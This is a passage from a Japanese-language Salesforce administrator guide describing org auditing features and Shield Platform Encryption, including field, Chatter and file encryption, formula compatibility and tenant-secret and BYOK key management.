の担当者が定期的に監査を行って潜在的な不正使用を検出する必要があります。
組織のシステムが実際に安全かどうかを確認するには、監査を実行して予期しない変更や使用の動向を監視す
る必要があります。
レコード変更項目

すべてのオブジェクトには、レコードを作成し、最後にレコードを更新したユーザの名前を格納する項目
が含まれています。これにより、基本的な監査情報を入手できます。

ログイン履歴
過去 6 か月間に組織に対して行われた正常なログイン、失敗したログインのリストをレビューできます。
「ログイン履歴の監視」 (ページ 1189)を参照してください。

項目履歴管理
各項目に監査機能を有効化すると、選択した項目値の変更を自動的に追跡できます。監査機能はすべての
カスタムオブジェクトで使用できますが、一部の標準オブジェクトでのみ項目レベルの監査が許可されま
す。「項目履歴管理」 (ページ 1202)を参照してください。

設定変更履歴
管理者は組織の設定に行われた変更の日時を記録する設定変更履歴を参照することもできます。「設定の
変更の監視」 (ページ 1198)を参照してください。

Salesforce Shield
Salesforce Shield は 3 つのセキュリティツールで構成されます。システム管理者や開発者はこれらのツールを使
用して、ビジネスクリティカルなアプリケーションに新たなレベルの信頼性、透明性、コンプライアンス、ガ
バナンスを組み込むことができます。Salesforce Shield には、プラットフォームの暗号化、イベント監視、項目
監査履歴が含まれます。Salesforce 管理者に、組織で Salesforce Shield が使用できるか問い合わせます。

プラットフォームの暗号化
プラットフォームの暗号化により、Salesforce アプリケーション全体に保存された重要な機密データをネイティ
ブに暗号化できます。このため、重要なアプリケーションの機能 (検索、ワークフロー、入力規則など) を維持
しながら、PII、機密、または独自のデータを保護し、外部および内部両方のデータコンプライアンスポリシー
に対応します。暗号化キーに対する完全な制御権があり、未承認のユーザから機密データを保護する暗号化
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データ権限を設定できます。「Shield プラットフォームの暗号化で Salesforce データを保護」 (ページ 904)を参照
してください。

イベント監視
イベント監視で、すべての Salesforce アプリケーションに関する詳細なパフォーマンス、セキュリティ、および
利用状況データにアクセスできます。すべての操作は API 経由で追跡とアクセスができるため、任意のデータ
視覚化アプリケーションで表示できます。重要なビジネスデータをだれが、いつ、どこからアクセスしたか確
認できます。アプリケーションのユーザ導入について理解します。エンドユーザの操作性を向上するには、パ
フォーマンスのトラブルシューティングと最適化をします。イベント監視データは Wave Analytics、Splunk、New

Relic などのデータ視覚化ツールまたはアプリケーション監視ツールに簡単にインポートできます。手始めに、
「イベント監視」トレーニングコースを確認します。

項目監査履歴
項目監査履歴: 任意の日付のデータの状態と値をいつでも確認できます。法規制の遵守、社内ガバナンス、監
査、カスタマーサービスで使用できます。大規模なビッグデータバックエンドを基盤としているため、最大
10 年間のフォレンシックデータレベルの監査履歴を作成できるほか、データを削除するタイミングも設定でき
ます。「項目監査履歴」 (ページ 1206)を参照してください。

Shield プラットフォームの暗号化で Salesforce データを保護
エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

Shield プラットフォームの暗号化では、重要なプラットフォーム機能を保持しな
がらデータに新しいセキュリティ層が追加されます。ネットワーク経由での送
信時だけでなく、保存時に機密データを暗号化できるため、会社は非公開デー
タの処理で準拠すべきプライバシーポリシー、規制要件、契約義務に確実に準
拠できます。
Shield プラットフォームの暗号化は、Salesforce に標準搭載されているデータ暗号
化オプションに基づいて作成されています。多くの標準項目、カスタム項目、
ファイル、添付ファイルに保存されているデータは、高度な HSM ベースの鍵派
生システムを使用して暗号化されているため、他の防衛線が危険にさらされて
も保護されます。
データ暗号化鍵は、保存したり組織で共有したりしません。代わりに、オンデ
マンドで主秘密および組織固有のテナントの秘密から派生し、アプリケーショ
ンサーバにキャッシュされます。
Shield Platform Encryptionは、Developer Edition 組織で無料で試すことができます。本
番組織にプロビジョニングされると、Sandbox で使用できるようになります。

項目およびファイルの暗号化
暗号化する項目およびファイルを指定します。暗号化は、項目レベルセキュリティやオブジェクトレベル
セキュリティとは異なります。これらは、暗号化戦略の前にすでに実施されている必要があります。
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Shield Platform Encryption の管理
Shield プラットフォームの暗号化を組織で使用するには、Salesforceアカウントエグゼクティブに問い合わせ
てください。アカウントエグゼクティブは正しいライセンスのプロビジョニングができるようにお手伝い
しますので、一意のテナントの秘密の作成を開始できます。
Shield プラットフォームの暗号化のしくみ
Shield Platform Encryption は、ユーザに制御される一意のテナントの秘密と、Salesforce で維持される主秘密に
依存します。これらの秘密を組み合わせて一意のデータ暗号化鍵が作成されます。この鍵を使用して、ユー
ザが Salesforce に配置したデータが暗号化され、承認されたユーザがデータを必要とする場合にデータが復
号化されます。
プラットフォームの暗号化のベストプラクティス
組織にとって可能性が最も高い脅威を特定します。これは、必要なデータのみを暗号化できるように、暗
号化が必要なデータと不要なデータを区別するのに役立ちます。テナントの秘密と鍵がバックアップされ
ていることを確認し、秘密および鍵の管理を許可するユーザを慎重に検討します。
Shield Platform Encryption のトレードオフおよび制限事項
Shield Platform Encryptionと同様に強力なセキュリティソリューションには、一部のトレードオフが伴います。
データが強力に暗号化されていると、一部のユーザの機能に制約が生じる場合があり、一部の機能はまっ
たく使用できなくなります。暗号化戦略を策定する場合は、ユーザおよび全体的なビジネスソリューショ
ンに対する影響を考慮します。

関連トピック:

Salesforce Platform Encryption Implementation Guide (Salesforce プラットフォームの暗号化実装ガイド)

従来の暗号化と Shield プラットフォームの暗号化との違い
http://sfdc.co/encryptwhitepaper

項目およびファイルの暗号化

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

暗号化する項目およびファイルを指定します。暗号化は、項目レベルセキュリ
ティやオブジェクトレベルセキュリティとは異なります。これらは、暗号化戦
略の前にすでに実施されている必要があります。

項目の暗号化
暗号化する項目を選択します。
Chatter のデータの暗号化 (ベータ)

Chatter の暗号化を有効にすると、Chatter でユーザが議論したり共有したりす
る情報が保護されます。Chatter の暗号化では、フィード投稿、質問と回答、
リンク名、コメント、アンケートの質問が暗号化されます。
ファイルおよび添付ファイルの暗号化
データの保護を一層強化するために、ファイルや添付ファイルを暗号化しま
す。Shield Platform Encryption が有効になっている場合、各ファイルまたは添付
ファイルをアップロードするときにその内容が暗号化されます。
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互換性の問題の修正
暗号化する項目やファイルを選択すると、Salesforce では自動的に副次的影響の可能性が確認され、既存の
設定が原因で Salesforce でのデータアクセスや通常の使用に問題が発生する可能性がある場合は、警告が出
ます。これらの問題を解決するには、いくつかのオプションがあります。
数式を使用した暗号化されたデータの取得
カスタム数式項目を使用すると、暗号化されたデータをすばやく見つけることができます。いくつかの演
算子や関数を使用して数式を記述し、暗号化されたデータをテキスト、日付、日付/時刻形式で表示し、ク
イックアクションを参照できます。

関連トピック:

プラットフォームの暗号化の概要

項目の暗号化

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

項目を暗号化する
• 「アプリケーションの

カスタマイズ」

暗号化する項目を選択します。

メモ:  Spring '17 以降、Shield Platform Encryption で暗号化データがマスクされな
くなります。これは、暗号化データを操作するための一部のユーザの機能
に影響する可能性があります。特定のユーザに表示されないようにしたい
データがある場合、項目レベルセキュリティ設定 (ページ627)、レコードア
クセス設定、およびオブジェクト権限 (ページ 630)に再確認します。

組織の規模によっては、標準項目の暗号化を有効にするために数分かかること
があります。
1. 組織に有効な暗号化鍵があることを確認します。不明な場合は、システム管

理者に確認してください。
2. [設定] で、[クイック検索] ボックスを使用して [プラットフォームの暗号化]

設定ページを見つけます。
3. [項目を暗号化] をクリックします。
4. [編集] をクリックします。
5. 暗号化する項目を選択して、設定を保存します。
プラットフォームの暗号化の自動検証サービスによって、暗号化がブロックさ
れる可能性のある組織内設定がチェックされるようになりました。互換性がな
い設定を修正する提案があると、メールで通知されます。
自動的に暗号化されるのは、暗号化を有効にした後に作成または更新されたレ
コードの項目値のみです。Salesforce では、既存のレコードの項目値を確実に暗
号化するために、既存のレコードを更新することをお勧めします。たとえば、
ケースオブジェクトの [説明]項目を暗号化する場合、データローダを使用して
すべてのケースレコードを更新します。このサポートが必要な場合は、Salesforce

にお問い合わせください。
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メモ: このページは、従来の暗号化ではなく Shield Platform Encryption について書かれています。相違点

関連トピック:

暗号化できる項目は?

Shield Platform Encryption による項目の制限
データローダ
暗号化データの外観
https://developer.salesforce.com/docs/atlas.en-us.api_meta.meta/api_meta/customfield.htm

数式を使用した暗号化されたデータの取得

Chatter のデータの暗号化 (ベータ)

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

項目を暗号化する
• 「アプリケーションの

カスタマイズ」

Chatter の暗号化を有効にすると、Chatter でユーザが議論したり共有したりする情
報が保護されます。Chatter の暗号化では、フィード投稿、質問と回答、リンク
名、コメント、アンケートの質問が暗号化されます。

メモ: 今回のリリースには、ベータバージョンの Chatter の暗号化が含まれ
ています。機能の品質は高いですが、既知の制限があります。組織でのこ
の機能の有効化については、Salesforce にお問い合わせください。Chatter の
暗号化は、Salesforce がドキュメント、プレスリリース、または公式声明で
正式リリースを発表しない限り、正式リリースされません。特定期間内の
正規リリースあるいはリリースの有無は保証できません。現在正式にリリー
スされている製品および機能に基づいて購入をご決定ください。Chatter の
暗号化に関するフィードバックや提案は、Success コミュニティの「Chatter

Product」グループに投稿してください。
カスタム項目や標準項目の暗号化とは異なり、Chatter の暗号化では、対象とな
るすべての Chatter 項目が暗号化されます。
1. この機能へのアクセスを有効にするには、まず、Salesforce にお問い合わせく

ださい。
2. 組織に有効な暗号化鍵があることを確認します。不明な場合は、システム管

理者に確認してください。
3. [設定] で、[クイック検索] ボックスを使用して [プラットフォームの暗号化]

設定ページを見つけます。
4. [Chatter の暗号化] をクリックします。
Shield Platform Encryption の自動検証サービスによって、暗号化がブロックされる
可能性のある設定がチェックされます。このサービスによって潜在的な問題が
検出された場合、問題の修正を提案するメールが送信されます。
暗号化された Chatter 項目を編集または更新すると、項目の改訂履歴も暗号化されます。たとえば、投稿を更新
すると、その投稿の古いバージョンは暗号化されたままです。
「暗号化されたデータの参照」権限を持つユーザがいる組織では、Chatter の暗号化は使用できません。ユーザ
がこの権限を持っている場合は、Chatter 項目の暗号化を有効にする前にその権限を無効にします。
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メモ:  Spring '17 以降、Shield Platform Encryption で暗号化データがマスクされなくなります。これは、暗号化
データを操作するための一部のユーザの機能に影響する可能性があります。特定のユーザに表示されな
いようにしたいデータがある場合、項目レベルセキュリティ設定 (ページ 627)、レコードアクセス設定、
およびオブジェクト権限 (ページ 630)に再確認します。

ファイルおよび添付ファイルの暗号化

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

ファイルを暗号化する
• 「アプリケーションの

カスタマイズ」

データの保護を一層強化するために、ファイルや添付ファイルを暗号化します。
Shield Platform Encryption が有効になっている場合、各ファイルまたは添付ファイ
ルをアップロードするときにその内容が暗号化されます。

メモ: 開始する前に、組織に有効な暗号化鍵があることを確認します。不
明の場合は、システム管理者に確認してください。

1. [設定] から、[クイック検索]ボックスに「プラットフォームの暗号化」と入力
し、[プラットフォームの暗号化] を選択します。

2. [ファイルと添付ファイルを暗号化] を選択します。
3. [保存] をクリックします。

重要: ファイルへのアクセス権を持つユーザは、暗号化固有の権限に関係
なく、正常にファイルを操作できます。組織にログインしていて、参照ア
クセス権を持っているユーザは、本文の内容を検索および参照できます。

ユーザは、通常のファイルサイズの制限に従って、ファイルおよび添付ファイ
ルを暗号化後もアップロードできます。暗号化によって増大したファイルサイ
ズは、これらの制限にカウントされません。
ファイルおよび添付ファイルの暗号化を有効にすると、新しいファイルおよび
添付ファイルに影響します。すでに Salesforce にあるファイルおよび添付ファイ
ルは、自動的に暗号化されません。既存のファイルを暗号化する方法について
は、Salesforce にお問い合わせください。
ファイルまたは添付ファイルが暗号化されているかどうかを確認するには、ファ
イルまたは添付ファイルの詳細ページで暗号化インジケータを探します。
ContentVersion オブジェクト (ファイルの場合) または Attachment オブジェクト (添
付ファイルの場合) の isEncrypted 項目をクエリすることもできます。
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ファイルが暗号化されている場合は、次のように表示されます。

関連トピック:

どのファイルが暗号化されますか?

データローダ
https://developer.salesforce.com/docs/atlas.en-us.api.meta/api/sforce_api_objects_contentversion.htm

https://developer.salesforce.com/docs/atlas.en-us.api.meta/api/sforce_api_objects_attachment.htm

互換性の問題の修正

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

暗号化する項目やファイルを選択すると、Salesforce では自動的に副次的影響の
可能性が確認され、既存の設定が原因で Salesforce でのデータアクセスや通常の
使用に問題が発生する可能性がある場合は、警告が出ます。これらの問題を解
決するには、いくつかのオプションがあります。
結果にエラーメッセージが含まれる場合、次の制約事項の 1 つ以上が原因であ
る場合があります。
ポータル

カスタマーポータルまたはパートナーポータルが組織で有効になっている場
合は、標準項目を暗号化できません。カスタマーポータルを無効にするに
は、[設定] のカスタマーポータル設定ページに移動します。パートナーポー
タルを無効にするには、[設定] のパートナーページに移動します。

メモ: コミュニティはこの問題に関係ありません。暗号化と完全に互換
性があります。

条件に基づく共有ルール
条件に基づく共有ルールの検索条件に使用されている項目が選択されていま
す。

SOQL/SOSL クエリ
SOQL クエリの集計関数か、WHERE、GROUP BY、または ORDER BY 句で使用されている項目が選択されていま
す。
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数式項目
サポートされていない方法でカスタム数式項目によって参照されている項目が選択されています。サポー
トされるのは、連結 (&)、isBlank()、isNull() のみです。

スキニーテーブル
スキニーテーブルで使用されている項目が選択されています。

メモ: このページは、従来の暗号化ではなく Shield プラットフォームの暗号化について書かれています。
相違点

関連トピック:

親トピックに戻る

数式を使用した暗号化されたデータの取得

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

カスタム数式項目を使用すると、暗号化されたデータをすばやく見つけること
ができます。いくつかの演算子や関数を使用して数式を記述し、暗号化された
データをテキスト、日付、日付/時刻形式で表示し、クイックアクションを参照
できます。

重要: Spring '17 以降、Shield Platform Encryptionでは暗号化されたデータがマス
クされなくなりました。カスタム数式項目種別を最大限に活用するため、
「暗号化されたデータのマスクを無効化」の重要な更新を承認することを
お勧めします。
この重要な更新を有効化する手順は、次のとおりです。
1. 項目レベルのセキュリティ設定で、暗号化されたデータが含まれるデー

タ型を確認します。項目のアクセス権が組織で適切に設定されているこ
とを確認します。

2. [設定] から、[クイック検索]ボックスに「重要な更新」と入力して、[重
要な更新] を選択します。

3. [暗号化されたデータのマスクを無効化] で、[有効化]をクリックします。
4. ブラウザページを更新します。

サポートされる演算子、関数、アクション
サポートされる演算子と関数は次のとおりです。
• & および +  (連結)

• BLANKVALUE

• CASE

• HYPERLINK

• IF

• IMAGE

• ISBLANK
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• ISNULL

• NULLVALUE

その他のサポート対象
• 拡大
• クイックアクション
数式は、text、date、または date/time 形式でのみデータを返すことができます。

& および +  (連結)

(encryptedField__c & encryptedField__c)
正しく機能する例:

& はサポートされているため、これは正しく機能します。正しく機能する理由:

LOWER(encryptedField__c & encryptedField__c)
正しく機能しない例:

LOWER はサポートされていない関数であり、入力が暗号化された値になってい
ます。

正しく機能しない理由:

Case

CASE は暗号化された項目値を返しますが、それらを比較しません。

CASE(custom_field__c, "1", cf2__c, cf3__c))
正しく機能する例:

cf2__c と cf3__c のいずれかまたは両方が暗号化されている場合

custom_field__cは「1」と比較されます。true の場合、この数式は 2 つの暗号
化された値を比較しないため、cf2__c を返します。

正しく機能する理由:

CASE("1", cf1__c, cf2__c, cf3__c)
正しく機能しない例:

cf1__c が暗号化されている場合

暗号化された値を比較することはできません。正しく機能しない理由:

ISBLANK および ISNULL

OR(ISBLANK(encryptedField__c), ISNULL(encryptedField__c))
正しく機能する例:
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ISBLANK と ISNULL の両方がサポートされています。この例では、ISBLANK お
よび ISNULLは暗号化された値ではなく Boolean 値を返すため、ORが正しく機能
します。

正しく機能する理由:

拡大

(LookupObject1__r.City & LookupObject1__r.Street) &
(LookupObject2__r.City & LookupObject2__r.Street) &

正しく機能する例:

(LookupObject3__r.City & LookupObject3__r.Street) &
(LookupObject4__r.City & LookupObject4__r.Street)

拡大では、複数のエンティティから暗号化されたデータが取得されます。たと
えば、Universal Containers のカスタマーサービス部門の担当者が、ある顧客が登録

これを使用する方法と理由:

したケースの配送の問題の範囲を確認するとします。その場合、このケースに
関連するすべての納入先住所が必要です。この例では、ケースレイアウト内で
顧客のすべての配送先アドレスを 1 つの文字列として返します。

暗号化された数式項目種別の検証
暗号化の検証サービスは、組織に暗号化された数式項目種別と互換性があることを確認します。
特定の項目を暗号化すると、検証サービスは次のことを実行します。
• その項目を参照するすべての数式項目を取得する
• 数式項目に暗号化との互換性があることを検証する
• 数式項目が他の場所で絞り込みや並び替えに使用されていないことを確認する
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Shield Platform Encryption の管理

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

テナントの秘密を管理す
る
• 「暗号化鍵の管理」

Shield プラットフォームの暗号化を組織で使用するには、Salesforce アカウントエ
グゼクティブに問い合わせてください。アカウントエグゼクティブは正しいラ
イセンスのプロビジョニングができるようにお手伝いしますので、一意のテナ
ントの秘密の作成を開始できます。
組織のテナントの秘密と暗号化鍵の管理を任せるユーザに「暗号化鍵の管理」
権限と「アプリケーションのカスタマイズ」権限を割り当てます。「暗号化鍵
の管理」権限を持つユーザは、組織固有の鍵を生成、エクスポート、インポー
ト、および破壊できるため、設定変更履歴を使用して、これらのユーザの鍵管
理アクティビティを日常的に監視することをお勧めします。
承認された開発者は、Salesforce API で TenantSecret オブジェクトへのコールをコー
ディングしてテナントの秘密を生成、ローテーション、エクスポート、破棄、
および再インポートできます。

テナントの秘密の生成
Salesforce によって組織のための一意のテナントの秘密を生成するか、独自の
外部リソースを使用して独自のテナントの秘密を生成できます。いずれに場
合も、独自のテナントの秘密を管理します。つまり、テナントの秘密のロー
テーションやアーカイブを行うことができ、テナントの秘密の責任を共有す
る他のユーザを指定できます。
暗号化鍵のローテーション
テナントの秘密のライフサイクルを制御することで、組織のデータ暗号化鍵
のライフサイクルを制御します。定期的に新しいテナントの秘密を生成して、それまで有効であったもの
をアーカイブする必要があります。
テナントの秘密のバックアップ
テナントの秘密は、組織およびテナントの秘密を適用する特定のデータに対して一意です。秘密をエクス
ポートして、関連データに再度アクセスする必要が生じた場合に、引き続きデータにアクセスできるよう
にすることをお勧めします。
テナントの秘密の破棄
テナントの秘密の破棄は、関連データにアクセスする必要がなくなったという極端な場合にのみ行います。
テナントの秘密は、組織およびテナントの秘密を適用する特定のデータに対して一意です。テナントの秘
密を破棄すると、以前にエクスポートした鍵を Salesforce にインポートし直さない限り、関連データにアク
セスできなくなります。
Shield プラットフォームの暗号化の無効化
ある時点で、項目やファイルあるいはその両方のShield プラットフォームの暗号化を無効にする必要が生じ
る場合があります。項目の暗号化は個別に有効または無効にできますが、ファイルの暗号化はすべてを有
効または無効にする必要があります。

関連トピック:

プラットフォームの暗号化の概要
https://developer.salesforce.com/docs/atlas.en-us.api.meta/api/sforce_api_objects_tenantsecret.htm
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テナントの秘密の生成

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

テナントの秘密を管理す
る
• 「暗号化鍵の管理」

Salesforce によって組織のための一意のテナントの秘密を生成するか、独自の外
部リソースを使用して独自のテナントの秘密を生成できます。いずれに場合も、
独自のテナントの秘密を管理します。つまり、テナントの秘密のローテーショ
ンやアーカイブを行うことができ、テナントの秘密の責任を共有する他のユー
ザを指定できます。
新しいテナントの秘密を生成すると、新しいデータはすべてこの鍵を使用して
暗号化されます。他方、既存の機密データは以前の鍵で暗号化されたままです。
こうした場合、最新の鍵を使用して既存の項目を再暗号化することを強くお勧
めします。このサポートが必要な場合は、Salesforce にお問い合わせください。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption につい
て書かれています。この違いについては、こちらをクリックしてください。

Salesforce を使用したテナントの秘密の生成
Salesforce では、[設定] メニューから簡単に一意のテナントの秘密を生成でき
ます。
種別によるテナントの秘密の管理
テナントの秘密種別を使用することで、テナントの秘密を使用してどのよう
な種類のデータを暗号化するかを指定できます。各種データを暗号化するテ
ナントの秘密に、異なる鍵のローテーションサイクルまたは破棄ポリシーを
適用できます。Salesforce に保存されている検索インデックスファイルまたは
その他のデータにテナントの秘密を適用できます。
独自のテナントの秘密の生成 (BYOK)

独自のテナントの秘密を使用すると、組み込みの Salesforce Shield Platform Encryption の利点を得られるだけで
なく、テナントの秘密を専用に管理することによって高保証を実現できます。

関連トピック:

権限セット
プロファイル
https://developer.salesforce.com/docs/atlas.en-us.api.meta/api/sforce_api_objects_tenantsecret.htm
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Salesforce を使用したテナントの秘密の生成

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

テナントの秘密を管理す
る
• 「暗号化鍵の管理」

Salesforce では、[設定] メニューから簡単に一意のテナントの秘密を生成できま
す。
承認されたユーザのみが、[プラットフォームの暗号化] ページからテナントの秘
密を生成できます。「暗号化鍵の管理」権限を割り当てるように Salesforce シス
テム管理者に依頼してください。
1. [設定] から、[クイック検索]ボックスに「プラットフォームの暗号化」と入力

し、[プラットフォームの暗号化] を選択します。
2. [テナントの秘密種別を選択] ドロップダウンリストで、データ型を選択しま

す。
3. [テナントの秘密を生成] をクリックします。

テナントの秘密を生成できる頻度はテナントの秘密種別によって異なりま
す。
• Salesforceのデータのテナントの秘密は、本番組織では 24 時間ごと、Sandbox

組織では 4 時間ごとに生成できます。
• 検索インデックス種別のテナントの秘密は 7 日ごとに生成できます。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption につい
て書かれています。この違いについては、こちらをクリックしてください。
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種別によるテナントの秘密の管理

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

テナントの秘密を管理す
る
• 「暗号化鍵の管理」

テナントの秘密種別を使用することで、テナントの秘密を使用してどのような
種類のデータを暗号化するかを指定できます。各種データを暗号化するテナン
トの秘密に、異なる鍵のローテーションサイクルまたは破棄ポリシーを適用で
きます。Salesforce に保存されている検索インデックスファイルまたはその他の
データにテナントの秘密を適用できます。
テナントの秘密は、暗号化するデータの型に応じて分類されます。
• Salesforceのデータ (項目、添付ファイル、および検索インデックスファイル以

外のファイルを含む)

• 検索インデックスファイル

メモ:  Spring '17 より前に生成またはアップロードされたテナントの秘密は、
Salesforce のデータ型に分類されます。

1. [設定] から、[クイック検索]ボックスに「プラットフォームの暗号化」と入力
し、[プラットフォームの暗号化] を選択します。

2. [テナントの秘密種別を選択] ドロップダウンリストで、データ型を選択しま
す。
[鍵の管理] セクションに、そのデータ型のすべてのテナントの秘密が表示さ
れます。特定の種別のテナントの秘密を表示中にテナントの秘密を生成また
はアップロードすると、それがそのデータの有効なテナントの秘密になりま
す。
お客様が提供するテナントの秘密を使用して検索インデックスファイルを暗
号化することはできません。検索インデックスファイルの暗号化を有効にするには、Salesforce アカウント
エグゼクティブに問い合わせるか、サポートチケットを開いてください。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryptionについて書かれています。この違いに
ついては、こちらをクリックしてください。
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独自のテナントの秘密の生成 (BYOK)

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

テナントの秘密を管理す
る
• 「暗号化鍵の管理」

独自のテナントの秘密を使用すると、組み込みのSalesforce Shield Platform Encryption

の利点を得られるだけでなく、テナントの秘密を専用に管理することによって
高保証を実現できます。
独自のテナントの秘密を制御するには、BYOK 互換の証明書を生成し、その証明
書を使用して自分で生成したテナントの秘密を暗号化および保護し、Salesforce

Shield Platform Encryption 鍵管理マシンにテナントの秘密へのアクセス権を付与し
ます。

1. BYOK 互換の証明書の生成
組織固有のデータ暗号化鍵の派生に使用するテナントの秘密を暗号化するた
めの証明書をSalesforceを使用して生成します。自己署名証明書または証明機
関 (CA) 署名証明書を生成できます。

2. テナントの秘密の生成とラッピング
テナントの秘密として乱数を生成します。次に、その秘密の SHA256 ハッシュ
を計算し、生成した証明書からの公開鍵を使用して暗号化します。

3. テナントの秘密のアップロード
テナントの秘密の準備ができたら、Salesforceにアップロードして、Shield Platform

Encryption鍵管理マシンが組織固有のデータ暗号化鍵の派生に使用できるよう
にします。
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BYOK 互換の証明書の生成

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

テナントの秘密を管理す
る
• 「アプリケーションの

カスタマイズ」

および

「暗号化鍵の管理」

組織固有のデータ暗号化鍵の派生に使用するテナントの秘密を暗号化するため
の証明書をSalesforceを使用して生成します。自己署名証明書または証明機関 (CA)

署名証明書を生成できます。
自己署名証明書を生成するには、次の手順を実行します。
1. [設定] で、[クイック検索] ボックスを使用して [プラットフォームの暗号化]

ページに移動します。
2. [テナントの秘密をアップロード] をクリックします。
3. [自己署名証明書の作成] をクリックします。
4. [表示ラベル] 項目に証明書の一意の名前を入力します。[表示ラベル] 項目に

入力された値に基づいて、[一意の名前] 項目には自動的に名前が割り当てら
れます。
[エクスポート可能な非公開鍵]、[プラットフォームの暗号化の使用]、および
[鍵サイズ] 設定は事前に選択されています。これにより、自己署名証明書に
Salesforce Shield Platform Encryption と互換性があることが保証されます。

重要:  BYOK 互換の自己署名証明書は、[証明書と鍵の管理] ページからも
作成できます。このオプションを選択する場合、1) [エクスポート可能
な非公開鍵]を無効にし、2) 4096 ビット証明書サイズを指定し、3) [プラッ
トフォームの暗号化] を有効にします。

5. [証明書と鍵の詳細] ページが表示されたら、[証明書のダウンロード] をクリックします。
自己署名証明書と CA 署名証明書のどちらが適しているかわからない場合は、組織のセキュリティポリシー
を確認します。各オプションの意味の詳細については、Salesforceヘルプの「証明書と鍵」を参照してくだ
さい。
CA 署名証明書を作成するには、「認証機関によって署名された証明書の生成」の手順に従います。証明書
を BYOK 互換にするために、手動で [エクスポート可能な非公開鍵]、[鍵サイズ]、および [プラットフォーム
の暗号化] の設定を変更してください。
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テナントの秘密の生成とラッピング

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

テナントの秘密を管理す
る
• 「アプリケーションの

カスタマイズ」

および

「暗号化鍵の管理」

テナントの秘密として乱数を生成します。次に、その秘密の SHA256 ハッシュを
計算し、生成した証明書からの公開鍵を使用して暗号化します。
1. 選択した方法を使用して 256 ビットのテナントの秘密を生成します。

テナントの秘密は、次の 2 つの方法のいずれかで生成できます。
• Bouncy Castle または OpenSSL などのオープンソースライブラリを使用し、

独自のオンプレミスリソースを使用して、プログラムによってテナント
の秘密を生成する。

ヒント: このプロセスのガイドとして役立つスクリプトが用意されて
います (ページ 928)。

• テナントの秘密を、生成、保護し、テナントの秘密へのアクセス権を共
有できる鍵仲介パートナーを使用する。

2. 生成した BYOK 互換の証明書からの公開鍵を使用してテナントの秘密をラッ
ピングします。
OAEP パディング方式を指定します。暗号化されたテナントの秘密ファイルと
ハッシュされたテナントの秘密ファイルが base64 を使用してエンコードされ
ているようにします。

3. この暗号化されたテナントの秘密を base64 にエンコードします。
